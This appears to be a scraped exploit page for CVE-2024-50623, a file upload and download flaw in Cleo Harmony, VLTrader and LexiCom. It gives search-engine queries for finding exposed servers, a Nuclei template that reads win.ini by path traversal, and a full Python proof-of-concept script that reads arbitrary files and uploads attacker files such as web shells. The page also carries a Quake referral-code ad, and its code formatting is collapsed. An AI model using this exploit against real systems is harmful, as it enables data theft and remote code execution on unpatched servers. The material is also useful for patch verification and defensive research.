CVE-2024-50623

fofa: server="Cleo"Quake：server:"Cleo"# 风里雨里，我都在quake等你。个人中心输入邀请码“lnBNF0”你我均可获得5,000长效积分哦，地址 quake.360.net

id: CVE-2024-50623info:  name: Cleo - Arbitary File Read  author: DhiyaneshDK  severity: high  description: |    In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.  reference:    - https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory    - https://github.com/watchtowrlabs/CVE-2024-50623    - https://labs.watchtowr.com/cleo-cve-2024-50623/  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H    cvss-score: 8.8    cve-id: CVE-2024-50623    cwe-id: CWE-434    epss-score: 0.00043    epss-percentile: 0.10702  metadata:max-request: 2    shodan-query: 'Server: Cleo'  tags: cve,cve2024,cleo,vltrader,lexicom,harmony,lfiflow: http(1) && http(2)http:  - raw:      - |        GET /Synchronization HTTP/1.1        Host: {{Hostname}}    matchers:      - type: dsl        dsl:          - 'contains(tolower(response), "cleo")'        internal: true    extractors:      - type: regex        name: version        part: header        internal: true        regex:          - "Server: Cleo.*?/([0-9.]+)"        group: 1  - raw:      - |        GET /Synchronization HTTP/1.1        Host: {{Hostname}}        VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={{version}};a=1337;po=5080;s=True;b=False;pp=1337;path=......windowswin.ini    matchers:      - type: word        part: body        words:          - "bit app support"          - "fonts"          - "extensions"        condition: and

banner = """ __         ___  ___________                    __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________  \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \  \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/   \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|     \/          \/     \/                                    CVE-2024-50623.py        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])        CVEs: [CVE-2024-50623]  """import warningswarnings.filterwarnings("ignore", category=DeprecationWarning)import requestsrequests.packages.urllib3.disable_warnings()import argparseprint(banner)parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\..\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")parser.add_argument("--target", help="Target URL", required=True)parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)parser.add_argument("--where", help="File to write or read", required=True)parser.add_argument("--what", help="local file to upload", required=False)args = parser.parse_args()args.target = args.target.rstrip('/')s = requests.Session()s.verify = Falsedefextract_version(target):    r = s.get(f"{target}/Synchronization")    version = r.headers['Server'].split('/')[1].split(' ')[0]return versiondefread_file(target, where, target_version):    headers = {'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"    }    r = s.get(f"{target}/Synchronization", headers=headers)if(r.status_code == 200):print(r.text)else:print("[ERROR] Failed to read the file")defwrite_file(target, where, what, target_version):    headers = {'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"    }    r = s.post(f"{target}/Synchronization", headers=headers, data=what)if(r.status_code == 200):print("[INFO] File written successfully")else:print("[ERROR] Failed to write the file")if(args.action == 'read'):    read_file(args.target, args.where, extract_version(args.target))elif(args.action == 'write'):if(args.what == None):print("[ERROR] --what is required for write action")        exit(1)    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))else:print("[ERROR] Invalid action")    exit(1)